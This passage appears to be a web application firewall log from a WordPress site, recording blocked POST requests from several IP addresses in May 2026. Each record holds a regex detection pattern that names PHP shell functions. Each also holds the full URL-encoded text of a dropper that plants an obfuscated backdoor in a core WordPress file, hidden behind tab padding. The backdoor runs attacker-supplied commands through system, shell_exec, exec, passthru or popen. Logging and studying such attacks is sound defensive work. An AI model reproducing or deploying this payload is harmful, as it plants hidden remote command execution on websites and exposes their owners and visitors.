0%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\nsec-fetch-mode:navigate\nsec-fetch-user:?1\nsec-fetch-dest:document\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\ncookie:4=9502d8dfeef0bdc4da77dd3a93ec6aec; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvIHZvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzAlMJS0MJDvB2yzXTMcoTIspUI0K2AioaEyoaEmXPEjYPEwXFy7nJ5woUIxMFNxpQgNqJ5fnJ5eXPEjXGgyrTy0B319sJEcMFtvVJ5iqUqlqTWfVFVcBj==; 1=53; 0=71\nsec-ch-ua:\"Not_A Brand\";v=\"8\", \"Chromium\";v=\"120\", \"Google Chrome\";v=\"120\"\nuser-agent:Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/120.0.0.0 Safari\/537.36\nsec-ch-ua-mobile:?0\nsec-ch-ua-platform:\"macOS\"\ncontent-type:application\/x-www-form-urlencoded\ncontent-length:5310\nsec-fetch-site:none\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\n\nUC=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/Requests\/src\/Exception\/Http\/Status502.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524config_manager2%2520%253D%2520%2522%255Cx73h%255Cx65l%255Cx6C%255Cx5Fe%255Cx78ec%2522%253B%2520%2524config_manager7%2520%253D%2520%2522p%255Cx63lose%2522%253B%2520%2524config_manager4%2520%253D%2520%2522%255Cx70%255Cx61%255Cx73st%255Cx68ru%2522%253B%2520%2524initialized%2520%253D%2520%2522h%255Cx65%255Cx782%255Cx62%255Cx69n%2522%253B%2520%2524config_manager1%2520%253D%2520%2522%255Cx73yst%255Cx65%255Cx6D%2522%253B%2520%2524config_manager5%2520%253D%2520%2522%255Cx70open%2522%253B%2520%2524config_manager6%2520%253D%2520%2522%255Cx73t%255Cx72%255Cx65a%255Cx6D_ge%255Cx74_c%255Cx6Fn%255Cx74%255Cx65n%255Cx74s%2522%253B%2520%2524config_manager3%2520%253D%2520%2522%255Cx65%255Cx78ec%2522%253B%2520if%2520%2528isset%2528%2524_POST%255B%2522f%255Cx6Ca%255Cx67%2522%255D%2529%2529%2520%257B%2520function%2520sync_manager%2528%2524symbol%2520%252C%2520%2524descriptor%2520%2529%257B%2520%2524rec%2520%253D%2520%2527%2527%253B%2520%2524f%253D0%253B%2520while%2528%2524f%253Cstrlen%2528%2524symbol%2529%2529%257B%2520%2524rec.%253Dchr%2528ord%2528%2524symbol%255B%2524f%255D%2529%255E%2524descriptor%2529%253B%2520%2524f%252B%252B%253B%2520%257D%2520return%2524rec%253B%2520%257D%2520%2524flag%2520%253D%2520%2524initialized%2528%2524_POST%255B%2522f%255Cx6Ca%255Cx67%2522%255D%2529%253B%2520%2524flag%2520%253D%2520sync_manager%2528%2524flag%252C%252075%2529%253B%2520if%2520%2528function_exists%2528%2524config_manager1%2529%2529%2520%257B%2520%2524config_manager1%2528%2524flag%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524config_manager2%2529%2529%2520%257B%2520print%2520%2524config_manager2%2528%2524flag%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524config_manager3%2529%2529%2520%257B%2520%2524config_manager3%2528%2524flag%252C%2520%2524key_symbol%2529%253B%2520print%2520join%2528%2522%255Cn%2522%252C%2520%2524key_symbol%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524config_manager4%2529%2529%2520%257B%2520%2524config_manager4%2528%2524flag%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524config_manager5%2529%2520%2526%2526%2520function_exists%2528%2524config_manager6%2529%2520%2526%2526%2520function_exists%2528%2524config_manager7%2529%2529%2520%257B%2520%2524descriptor_rec%2520%253D%2520%2524config_manager5%2528%2524flag%252C%2520%2527r%2527%2529%253B%2520if%2520%2528%2524descriptor_rec%2529%2520%257B%2520%2524entity_pgrp%2520%253D%2520%2524config_manager6%2528%2524descriptor_rec%2529%253B%2520%2524config_manager7%2528%2524descriptor_rec%2529%253B%2520print%2520%2524entity_pgrp%253B%2520%257D%2520%257D%2520exit%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 21:55:25","46.62.254.35","POST","\/","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/116.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> Sb:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/Requests\/src\/Exception\/Http\/Status502.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524config_manager2%2520%253D%2520%2522%255Cx73h%255Cx65l%255Cx6C%255Cx5Fe%255Cx78ec%2522%253B%2520%2524config_manager7%2520%253D%2520%2522p%255Cx63lose%2522%253B%2520%2524config_manager4%2520%253D%2520%2522%255Cx70%255Cx61%255Cx73st%255Cx68ru%2522%253B%2520%2524initialized%2520%253D%2520%2522h%255Cx65%255Cx782%255Cx62%255Cx69n%2522%253B%2520%2524config_manager1%2520%253D%2520%2522%255Cx73yst%255Cx65%255Cx6D%2522%253B%2520%2524config_manager5%2520%253D%2520%2522%255Cx70open%2522%253B%2520%2524config_manager6%2520%253D%2520%2522%255Cx73t%255Cx72%255Cx65a%255Cx6D_ge%255Cx74_c%255Cx6Fn%255Cx74%255Cx65n%255Cx74s%2522%253B%2520%2524config_manager3%2520%253D%2520%2522%255Cx65%255Cx78ec%2522%253B%2520if%2520%2528isset%2528%2524_POST%255B%2522f%255Cx6Ca%255Cx67%2522%255D%2529%2529%2520%257B%2520function%2520sync_manager%2528%2524symbol%2520%252C%2520%2524descriptor%2520%2529%257B%2520%2524rec%2520%253D%2520%2527%2527%253B%2520%2524f%253D0%253B%2520while%2528%2524f%253Cstrlen%2528%2524symbol%2529%2529%257B%2520%2524rec.%253Dchr%2528ord%2528%2524symbol%255B%2524f%255D%2529%255E%2524descriptor%2529%253B%2520%2524f%252B%252B%253B%2520%257D%2520return%2524rec%253B%2520%257D%2520%2524flag%2520%253D%2520%2524initialized%2528%2524_POST%255B%2522f%255Cx6Ca%255Cx67%2522%255D%2529%253B%2520%2524flag%2520%253D%2520sync_manager%2528%2524flag%252C%252075%2529%253B%2520if%2520%2528function_exists%2528%2524config_manager1%2529%2529%2520%257B%2520%2524config_manager1%2528%2524flag%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524config_manager2%2529%2529%2520%257B%2520print%2520%2524config_manager2%2528%2524flag%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524config_manager3%2529%2529%2520%257B%2520%2524config_manager3%2528%2524flag%252C%2520%2524key_symbol%2529%253B%2520print%2520join%2528%2522%255Cn%2522%252C%2520%2524key_symbol%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524config_manager4%2529%2529%2520%257B%2520%2524config_manager4%2528%2524flag%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524config_manager5%2529%2520%2526%2526%2520function_exists%2528%2524config_manager6%2529%2520%2526%2526%2520function_exists%2528%2524config_manager7%2529%2529%2520%257B%2520%2524descriptor_rec%2520%253D%2520%2524config_manager5%2528%2524flag%252C%2520%2527r%2527%2529%253B%2520if%2520%2528%2524descriptor_rec%2529%2520%257B%2520%2524entity_pgrp%2520%253D%2520%2524config_manager6%2528%2524descriptor_rec%2529%253B%2520%2524config_manager7%2528%2524descriptor_rec%2529%253B%2520print%2520%2524entity_pgrp%253B%2520%257D%2520%257D%2520exit%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\nsec-fetch-mode:navigate\nsec-fetch-user:?1\nsec-fetch-dest:document\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\ncookie:4=1af844051764377410b827578daae50e; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvH2VvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYaOupaEcqTyiovV7nJLbMzyfMI9jqKEsL29hqTIhqUZbWUNfWTZcXKgcozAfqJEyVPEjB0O1ozkcozfbWUNcB2I4nKD7sK19MTyyXPVuoz90q3W0LzjuVvx7; 1=53; 0=71\nsec-ch-ua:\"Chromium\";v=\"116\", \"Not)A;Brand\";v=\"24\", \"Google Chrome\";v=\"116\"\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/116.0.0.0 Safari\/537.36\nsec-ch-ua-mobile:?0\nsec-ch-ua-platform:\"Windows\"\ncontent-type:application\/x-www-form-urlencoded\ncontent-length:5310\nsec-fetch-site:none\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\n\nSb=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/Requests\/src\/Exception\/Http\/Status502.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524config_manager2%2520%253D%2520%2522%255Cx73h%255Cx65l%255Cx6C%255Cx5Fe%255Cx78ec%2522%253B%2520%2524config_manager7%2520%253D%2520%2522p%255Cx63lose%2522%253B%2520%2524config_manager4%2520%253D%2520%2522%255Cx70%255Cx61%255Cx73st%255Cx68ru%2522%253B%2520%2524initialized%2520%253D%2520%2522h%255Cx65%255Cx782%255Cx62%255Cx69n%2522%253B%2520%2524config_manager1%2520%253D%2520%2522%255Cx73yst%255Cx65%255Cx6D%2522%253B%2520%2524config_manager5%2520%253D%2520%2522%255Cx70open%2522%253B%2520%2524config_manager6%2520%253D%2520%2522%255Cx73t%255Cx72%255Cx65a%255Cx6D_ge%255Cx74_c%255Cx6Fn%255Cx74%255Cx65n%255Cx74s%2522%253B%2520%2524config_manager3%2520%253D%2520%2522%255Cx65%255Cx78ec%2522%253B%2520if%2520%2528isset%2528%2524_POST%255B%2522f%255Cx6Ca%255Cx67%2522%255D%2529%2529%2520%257B%2520function%2520sync_manager%2528%2524symbol%2520%252C%2520%2524descriptor%2520%2529%257B%2520%2524rec%2520%253D%2520%2527%2527%253B%2520%2524f%253D0%253B%2520while%2528%2524f%253Cstrlen%2528%2524symbol%2529%2529%257B%2520%2524rec.%253Dchr%2528ord%2528%2524symbol%255B%2524f%255D%2529%255E%2524descriptor%2529%253B%2520%2524f%252B%252B%253B%2520%257D%2520return%2524rec%253B%2520%257D%2520%2524flag%2520%253D%2520%2524initialized%2528%2524_POST%255B%2522f%255Cx6Ca%255Cx67%2522%255D%2529%253B%2520%2524flag%2520%253D%2520sync_manager%2528%2524flag%252C%252075%2529%253B%2520if%2520%2528function_exists%2528%2524config_manager1%2529%2529%2520%257B%2520%2524config_manager1%2528%2524flag%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524config_manager2%2529%2529%2520%257B%2520print%2520%2524config_manager2%2528%2524flag%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524config_manager3%2529%2529%2520%257B%2520%2524config_manager3%2528%2524flag%252C%2520%2524key_symbol%2529%253B%2520print%2520join%2528%2522%255Cn%2522%252C%2520%2524key_symbol%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524config_manager4%2529%2529%2520%257B%2520%2524config_manager4%2528%2524flag%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524config_manager5%2529%2520%2526%2526%2520function_exists%2528%2524config_manager6%2529%2520%2526%2526%2520function_exists%2528%2524config_manager7%2529%2529%2520%257B%2520%2524descriptor_rec%2520%253D%2520%2524config_manager5%2528%2524flag%252C%2520%2527r%2527%2529%253B%2520if%2520%2528%2524descriptor_rec%2529%2520%257B%2520%2524entity_pgrp%2520%253D%2520%2524config_manager6%2528%2524descriptor_rec%2529%253B%2520%2524config_manager7%2528%2524descriptor_rec%2529%253B%2520print%2520%2524entity_pgrp%253B%2520%257D%2520%257D%2520exit%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 21:55:40","103.143.207.18","POST","\/wp-admin\/site-health.php","Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/15.3 Safari\/605.1.15","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> aC:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/Requests\/src\/Exception\/Http\/Status502.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524config_manager2%2520%253D%2520%2522%255Cx73h%255Cx65l%255Cx6C%255Cx5Fe%255Cx78ec%2522%253B%2520%2524config_manager7%2520%253D%2520%2522p%255Cx63lose%2522%253B%2520%2524config_manager4%2520%253D%2520%2522%255Cx70%255Cx61%255Cx73st%255Cx68ru%2522%253B%2520%2524initialized%2520%253D%2520%2522h%255Cx65%255Cx782%255Cx62%255Cx69n%2522%253B%2520%2524config_manager1%2520%253D%2520%2522%255Cx73yst%255Cx65%255Cx6D%2522%253B%2520%2524config_manager5%2520%253D%2520%2522%255Cx70open%2522%253B%2520%2524config_manager6%2520%253D%2520%2522%255Cx73t%255Cx72%255Cx65a%255Cx6D_ge%255Cx74_c%255Cx6Fn%255Cx74%255Cx65n%255Cx74s%2522%253B%2520%2524config_manager3%2520%253D%2520%2522%255Cx65%255Cx78ec%2522%253B%2520if%2520%2528isset%2528%2524_POST%255B%2522f%255Cx6Ca%255Cx67%2522%255D%2529%2529%2520%257B%2520function%2520sync_manager%2528%2524symbol%2520%252C%2520%2524descriptor%2520%2529%257B%2520%2524rec%2520%253D%2520%2527%2527%253B%2520%2524f%253D0%253B%2520while%2528%2524f%253Cstrlen%2528%2524symbol%2529%2529%257B%2520%2524rec.%253Dchr%2528ord%2528%2524symbol%255B%2524f%255D%2529%255E%2524descriptor%2529%253B%2520%2524f%252B%252B%253B%2520%257D%2520return%2524rec%253B%2520%257D%2520%2524flag%2520%253D%2520%2524initialized%2528%2524_POST%255B%2522f%255Cx6Ca%255Cx67%2522%255D%2529%253B%2520%2524flag%2520%253D%2520sync_manager%2528%2524flag%252C%252075%2529%253B%2520if%2520%2528function_exists%2528%2524config_manager1%2529%2529%2520%257B%2520%2524config_manager1%2528%2524flag%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524config_manager2%2529%2529%2520%257B%2520print%2520%2524config_manager2%2528%2524flag%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524config_manager3%2529%2529%2520%257B%2520%2524config_manager3%2528%2524flag%252C%2520%2524key_symbol%2529%253B%2520print%2520join%2528%2522%255Cn%2522%252C%2520%2524key_symbol%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524config_manager4%2529%2529%2520%257B%2520%2524config_manager4%2528%2524flag%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524config_manager5%2529%2520%2526%2526%2520function_exists%2528%2524config_manager6%2529%2520%2526%2526%2520function_exists%2528%2524config_manager7%2529%2529%2520%257B%2520%2524descriptor_rec%2520%253D%2520%2524config_manager5%2528%2524flag%252C%2520%2527r%2527%2529%253B%2520if%2520%2528%2524descriptor_rec%2529%2520%257B%2520%2524entity_pgrp%2520%253D%2520%2524config_manager6%2528%2524descriptor_rec%2529%253B%2520%2524config_manager7%2528%2524descriptor_rec%2529%253B%2520print%2520%2524entity_pgrp%253B%2520%257D%2520%257D%2520exit%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/wp-admin\/site-health.php HTTP\/1.1\ncontent-type:application\/x-www-form-urlencoded\ncookie:4=3a8677dc156d672c6e12f16237adcc36; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvLHZvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzAioaEyoaDvB2yzXTMcoTIspUI0K2AioaEyoaEmXPEjYPEwXFy7nJ5woUIxMFNxpQgNqJ5fnJ5eXPEjXGgyrTy0B319sJEcMFtvVJ5iqUqlqTWfVFVcBj==; 1=53; 0=71\nuser-agent:Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/15.3 Safari\/605.1.15\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\ncontent-length:5310\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\n\naC=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/Requests\/src\/Exception\/Http\/Status502.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524config_manager2%2520%253D%2520%2522%255Cx73h%255Cx65l%255Cx6C%255Cx5Fe%255Cx78ec%2522%253B%2520%2524config_manager7%2520%253D%2520%2522p%255Cx63lose%2522%253B%2520%2524config_manager4%2520%253D%2520%2522%255Cx70%255Cx61%255Cx73st%255Cx68ru%2522%253B%2520%2524initialized%2520%253D%2520%2522h%255Cx65%255Cx782%255Cx62%255Cx69n%2522%253B%2520%2524config_manager1%2520%253D%2520%2522%255Cx73yst%255Cx65%255Cx6D%2522%253B%2520%2524config_manager5%2520%253D%2520%2522%255Cx70open%2522%253B%2520%2524config_manager6%2520%253D%2520%2522%255Cx73t%255Cx72%255Cx65a%255Cx6D_ge%255Cx74_c%255Cx6Fn%255Cx74%255Cx65n%255Cx74s%2522%253B%2520%2524config_manager3%2520%253D%2520%2522%255Cx65%255Cx78ec%2522%253B%2520if%2520%2528isset%2528%2524_POST%255B%2522f%255Cx6Ca%255Cx67%2522%255D%2529%2529%2520%257B%2520function%2520sync_manager%2528%2524symbol%2520%252C%2520%2524descriptor%2520%2529%257B%2520%2524rec%2520%253D%2520%2527%2527%253B%2520%2524f%253D0%253B%2520while%2528%2524f%253Cstrlen%2528%2524symbol%2529%2529%257B%2520%2524rec.%253Dchr%2528ord%2528%2524symbol%255B%2524f%255D%2529%255E%2524descriptor%2529%253B%2520%2524f%252B%252B%253B%2520%257D%2520return%2524rec%253B%2520%257D%2520%2524flag%2520%253D%2520%2524initialized%2528%2524_POST%255B%2522f%255Cx6Ca%255Cx67%2522%255D%2529%253B%2520%2524flag%2520%253D%2520sync_manager%2528%2524flag%252C%252075%2529%253B%2520if%2520%2528function_exists%2528%2524config_manager1%2529%2529%2520%257B%2520%2524config_manager1%2528%2524flag%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524config_manager2%2529%2529%2520%257B%2520print%2520%2524config_manager2%2528%2524flag%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524config_manager3%2529%2529%2520%257B%2520%2524config_manager3%2528%2524flag%252C%2520%2524key_symbol%2529%253B%2520print%2520join%2528%2522%255Cn%2522%252C%2520%2524key_symbol%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524config_manager4%2529%2529%2520%257B%2520%2524config_manager4%2528%2524flag%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524config_manager5%2529%2520%2526%2526%2520function_exists%2528%2524config_manager6%2529%2520%2526%2526%2520function_exists%2528%2524config_manager7%2529%2529%2520%257B%2520%2524descriptor_rec%2520%253D%2520%2524config_manager5%2528%2524flag%252C%2520%2527r%2527%2529%253B%2520if%2520%2528%2524descriptor_rec%2529%2520%257B%2520%2524entity_pgrp%2520%253D%2520%2524config_manager6%2528%2524descriptor_rec%2529%253B%2520%2524config_manager7%2528%2524descriptor_rec%2529%253B%2520print%2520%2524entity_pgrp%253B%2520%257D%2520%257D%2520exit%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 21:55:46","150.241.245.183","POST","\/wp-admin\/network\/plugins.php","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/104.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> 